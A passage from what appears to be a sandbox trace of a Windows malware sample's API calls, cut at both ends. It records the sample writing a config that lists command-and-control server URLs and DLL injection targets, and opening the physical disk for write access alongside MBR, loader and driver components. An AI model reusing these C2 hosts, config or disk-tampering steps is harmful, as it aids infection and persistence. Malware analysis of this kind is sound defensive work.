lpProcName="IsWow64Process") returned 0x7583195e [0017.116] GetCurrentProcess () returned 0xffffffff [0017.116] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ee1c | out: Wow64Process=0x18ee1c) returned 1 [0017.116] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x18f6a0 | out: lpBuffer="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\") returned 0x25 [0017.116] GetTempFileNameW (in: lpPathName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x18f290 | out: lpTempFileName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\C293.tmp" (normalized: "c:\\users\\hjrd1k~1\\appdata\\local\\temp\\c293.tmp")) returned 0xc293 [0017.118] _alloca_probe () returned 0x40266f [0017.118] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77140000 [0017.118] GetProcAddress (hModule=0x77140000, lpProcName="_snwprintf") returned 0x77172417 [0017.118] _snwprintf (in: _Dest=0x1897d8, _Count=0x104, _Format="\\{%08x-%04x-%04x-%04x-%04x%08x}" | out: _Dest="\\{8b55ff8b-83ec-20ec-3353-39db840f105d}") returned 39 [0017.118] RtlInitUnicodeString (in: DestinationString=0x189194, SourceString="\\{8b55ff8b-83ec-20ec-3353-39db840f105d}" | out: DestinationString="\\{8b55ff8b-83ec-20ec-3353-39db840f105d}") [0017.118] RtlImageNtHeader (BaseAddress=0x400000) returned 0x4000d8 [0017.118] VirtualAlloc (lpAddress=0x0, dwSize=0x1cb4f, flAllocationType=0x3000, flProtect=0x40) returned 0x1a0000 [0017.121] _snprintf (in: _Dest=0x189be0, _Count=0xfff, _Format="%.*s" | out: _Dest="66671;0;16.9.2011 9:28:39;") returned 26 [0017.121] _snprintf (in: _Dest=0x18cbe0, _Count=0xfff, _Format="%.*s" | out: _Dest="https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/|http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/|http://crj71ki813ck.com/") returned 255 [0017.121] GetSystemTime (in: lpSystemTime=0x18916c | out: lpSystemTime=0x18916c*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0xe, wMilliseconds=0xf0)) [0017.121] _snprintf (in: _Dest=0x1896d0, _Count=0x103, _Format="%d.%d.%d %d:%d:%d" | out: _Dest="6.12.2016 9:36:14") returned 17 [0017.121] _snprintf (in: _Dest=0x189be0, _Count=0xfff, _Format="[main]\r\naid=%s\r\nsid=%s\r\nbuilddate=351\r\ninstalldate=%s\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=%s\r\nwsrv=%s\r\npsrv=%s\r\n" | out: _Dest="[main]\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n") returned 392 [0017.121] GetWindowsDirectoryW (in: lpBuffer=0x188cb8, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0017.121] RtlInitUnicodeString (in: DestinationString=0x189108, SourceString="\\??\\c:" | out: DestinationString="\\??\\c:") [0017.121] NtOpenFile (in: FileHandle=0x189110, DesiredAccess=0x100000, ObjectAttributes=0x1890f0*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:" (normalized: "c:"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1890e8, ShareAccess=0x7, OpenOptions=0x20 | out: FileHandle=0x189110*=0xa0, IoStatusBlock=0x1890e8*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0017.121] NtDeviceIoControlFile (in: DeviceHandle=0xa0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x1890e8, IoControlCode=0x560000, InputBuffer=0x0, InputBufferSize=0x0, OutputBuffer=0x1890c8, OutputBufferSize=0x20 | out: IoStatusBlock=0x1890e8, OutputBuffer=0x1890c8) returned 0x0 [0017.121] _snwprintf (in: _Dest=0x188ab0, _Count=0x103, _Format="\\??\\physicaldrive%d" | out: _Dest="\\??\\physicaldrive0") returned 18 [0017.122] RtlInitUnicodeString (in: DestinationString=0x189108, SourceString="\\??\\physicaldrive0" | out: DestinationString="\\??\\physicaldrive0") [0017.122] NtOpenFile (in: FileHandle=0x189114, DesiredAccess=0xc0100000, ObjectAttributes=0x1890f0*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\physicaldrive0" (normalized: "\\device\\harddisk0\\dr0"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1890e8, ShareAccess=0x7, OpenOptions=0x20 | out: FileHandle=0x189114*=0xa4, IoStatusBlock=0x1890e8*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0017.122] NtClose (Handle=0xa0) returned 0x0 [0017.122] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0017.122] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0017.123] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0xc00000b5 [0047.956] VirtualAlloc (lpAddress=0x0, dwSize=0x20c00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0048.021] strncpy (in: _Dest=0x2d0a06, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0048.021] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.021] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.021] strncpy (in: _Dest=0x2d0a26, _Source="mbr", _Count=0x10 | out: _Dest="mbr") returned="mbr" [0048.021] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.021] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.021] strncpy (in: _Dest=0x2d0a46, _Source="ldr16", _Count=0x10 | out: _Dest="ldr16") returned="ldr16" [0048.021] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.021] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.021] strncpy (in: _Dest=0x2d0a66, _Source="ldr32", _Count=0x10 | out: _Dest="ldr32") returned="ldr32" [0048.021] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.021] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.021] strncpy (in: _Dest=0x2d0a86, _Source="ldr64", _Count=0x10 | out: _Dest="ldr64") returned="ldr64" [0048.022] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.022] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.022] strncpy (in: _Dest=0x2d0aa6, _Source="drv32", _Count=0x10 | out: _Dest="drv32") returned="drv32" [0048.031] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.031] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.032] strncpy (in: _Dest=0x2d0ac6, _Source="drv64", _Count=0x10 | out: _Dest="drv64") returned="drv64" [0048.032] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.032] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.032] strncpy (in: _Dest=0x2d0ae6, _Source="cmd.dll", _Count=0x10 | out: _Dest="cmd.dll") returned="cmd.dll" [0048.032] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1c8)) [0048.032] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.035] strncpy (in: _Dest=0x2d0b06, _Source="cmd64.dll", _Count=0x10 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0048.035] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1d8)) [0048.035] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.036] strncpy (in: _Dest=0x2d0b26, _Source="bckfg.tmp", _Count=0x10 | out: _Dest="bckfg.tmp") returned="bckfg.tmp" [0048.036] GetSystemTime (in: lpSystemTime=0x1890e0 | out: lpSystemTime=0x1890e0*(wYear=0x7e0, wMonth=0xc, wDayOfWeek=0x2, wDay=0x6, wHour=0x9, wMinute=0x24, wSecond=0x30, wMilliseconds=0x1d8)) [0048.036] SystemTimeToFileTime (in: lpSystemTime=0x1890e0, lpFileTime=0x1890f0 | out: lpFileTime=0x1890f0) returned 1 [0048.036] NtCreateEvent (in: EventHandle=0x18919c, DesiredAccess=0x1f0003, ObjectAttributes=0x18917c, EventType=0x0, InitialState=1 | out: EventHandle=0x18919c*=0xa0) returned 0x0 [0048.036] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.037] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.037] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.038] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.038] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.038] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.039] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.039] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.039] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.040] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.040] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.040] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.041] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.041] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.041] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.042] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.042] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.042] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.043] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.043] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.043] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.043] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.044] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.044] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.044] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.045] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.045] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.045] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.046] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.046] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.046] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.047] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.047] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.047] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.048] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.048] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.048] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.050] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.050] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.050] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.051] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.051] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.051] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.052] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.052] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.052] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.053] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.053] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, 